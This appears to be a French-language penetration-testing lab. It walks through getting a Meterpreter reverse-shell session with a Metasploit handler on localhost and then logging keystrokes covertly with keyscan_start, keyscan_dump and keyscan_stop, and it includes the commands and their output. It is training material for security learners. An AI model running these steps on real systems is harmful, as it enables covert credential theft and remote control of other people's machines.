Introduction
Dans ce laboratoire, vous allez explorer une technique courante de post-exploitation : la journalisation des frappes au clavier (keystroke logging). La journalisation des frappes au clavier, ou "keylogging", est le processus d'enregistrement des touches frappées sur un clavier, généralement de manière dissimulée, de sorte que la personne utilisant le clavier ignore que ses actions sont surveillées. Dans les tests d'intrusion (penetration testing), cette technique est inestimable pour recueillir des informations sensibles telles que les noms d'utilisateur, les mots de passe et d'autres données confidentielles.
Nous utiliserons le puissant payload du Metasploit Framework, Meterpreter, pour y parvenir. Meterpreter dispose d'un module intégré appelé keyscan qui permet à un attaquant de démarrer, d'extraire (dump) et d'arrêter facilement un enregistreur de frappes sur un système compromis. Tout au long de ce laboratoire, vous apprendrez comment obtenir une session Meterpreter, déployer l'enregistreur de frappes, capturer les frappes au clavier, puis effacer vos traces.
Obtenir une session Meterpreter sur une cible
Dans cette étape, nous allons configurer un écouteur (listener) dans Metasploit et exécuter un payload pour obtenir une session Meterpreter. Dans le cadre de ce laboratoire, nous agirons à la fois comme attaquant et comme cible sur la même machine. Un fichier de payload nommé payload.elf a déjà été créé pour vous dans le répertoire ~/project.
Tout d'abord, lançons la console Metasploit Framework.
msfconsole -q
Une fois msfconsole chargé, nous devons configurer un gestionnaire (handler) pour écouter la connexion entrante de notre payload.
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
Maintenant, lancez l'écouteur en tant que tâche d'arrière-plan en utilisant l'option -j.
exploit -j
Vous devriez voir que le gestionnaire a démarré.
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444
Ouvrez maintenant un nouvel onglet de terminal en cliquant sur l'icône + dans le panneau du terminal. Dans ce nouvel onglet, exécutez le payload.
./payload.elf
Revenez à votre premier onglet de terminal avec msfconsole. Vous devriez voir un message indiquant qu'une session Meterpreter a été ouverte.
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:38908) at 2023-10-27 10:30:00 -0400
Pour interagir avec cette nouvelle session, utilisez la commande sessions.
sessions -i 1
Votre invite devrait changer en meterpreter>, indiquant que vous contrôlez maintenant la session cible.
[*] Starting interaction with 1...
meterpreter >
Démarrer l'enregistreur de frappes avec la commande keyscan_start
Dans cette étape, avec une session Meterpreter active, nous allons démarrer l'enregistreur de frappes sur la machine cible. La commande pour cela est keyscan_start. Cette commande injecte un enregistreur de frappes dans un processus sur le système cible et commence à capturer toutes les entrées du clavier.
Assurez-vous d'être à l'invite meterpreter>. Tapez la commande suivante et appuyez sur Entrée :
keyscan_start
Le système confirmera que l'enregistreur de frappes a été initié.
Starting the keystroke sniffer...
L'enregistreur s'exécute maintenant silencieusement en arrière-plan sur le système cible, enregistrant chaque touche pressée.
Attendre que l'utilisateur tape des informations
Dans cette étape, nous allons simuler un utilisateur tapant des informations sensibles sur la machine cible. Comme notre enregistreur de frappes est actif, il capturera cette activité.
Ouvrez à nouveau un nouvel onglet de terminal en cliquant sur l'icône +. Dans ce nouveau terminal, nous allons simuler un utilisateur tapant un mot de passe. Vous pouvez taper n'importe quelle commande, mais pour cet exemple, nous utiliserons echo pour simuler la saisie d'un mot de passe secret.
echo "MySuperSecretPassword123"
Après avoir exécuté la commande, vous pouvez fermer ce nouvel onglet de terminal. Les frappes pour echo "MySuperSecretPassword123" ont maintenant été capturées par notre enregistreur de frappes en cours d'exécution. Revenez à l'onglet de terminal où votre session Meterpreter est active.
Récupérer les frappes capturées avec la commande keyscan_dump
Dans cette étape, nous allons récupérer les frappes qui ont été capturées par l'enregistreur. La commande keyscan_dump récupère toutes les frappes enregistrées depuis la machine cible et les affiche dans votre console Meterpreter.
À l'invite meterpreter>, exécutez la commande suivante :
keyscan_dump
Vous verrez la sortie de toutes les frappes capturées depuis le démarrage de l'enregistreur. Cela inclura la commande que vous avez tapée à l'étape précédente.
Dumping captured keystrokes...
echo "MySuperSecretPassword123"
Comme vous pouvez le constater, la commande que nous avons tapée dans l'autre terminal a été capturée avec succès. Cela démontre comment un attaquant peut voler des identifiants, des commandes et d'autres textes sensibles tapés par un utilisateur.
Arrêter l'enregistreur de frappes avec keyscan_stop
Dans cette étape, nous allons arrêter l'enregistreur de frappes. Il est crucial pour un testeur d'intrusion de nettoyer après une mission afin de supprimer tous les artefacts et d'arrêter tous les processus en cours, laissant le système cible tel qu'il a été trouvé.
Pour arrêter l'enregistreur de frappes, utilisez la commande keyscan_stop dans votre session Meterpreter.
keyscan_stop
Le système confirmera que l'enregistreur de frappes a été arrêté.
Stopping the keystroke sniffer...
L'enregistreur de frappes n'est plus actif sur la machine cible. Vous pouvez maintenant quitter en toute sécurité la session Meterpreter et msfconsole en tapant exit deux fois.
Résumé
Dans ce laboratoire, vous avez appris avec succès comment effectuer une journalisation des frappes sur un système cible à l'aide de Meterpreter. Vous avez pratiqué le cycle de vie complet de cette technique de post-exploitation, de l'obtention d'une session au nettoyage de vos outils.
Vous avez appris à :
- Établir une session Meterpreter à l'aide d'un gestionnaire (handler) et d'une charge utile (payload).
- Démarrer l'enregistreur de frappes sur une cible en utilisant la commande
keyscan_start. - Récupérer les frappes capturées pour visualiser les informations sensibles avec
keyscan_dump. - Arrêter l'enregistreur de frappes et nettoyer la session en utilisant
keyscan_stop.
Il s'agit d'une technique puissante qui souligne l'importance de la sécurité et de la surveillance des systèmes. N'oubliez pas d'utiliser ces compétences de manière responsable et éthique. Félicitations pour avoir terminé le laboratoire !


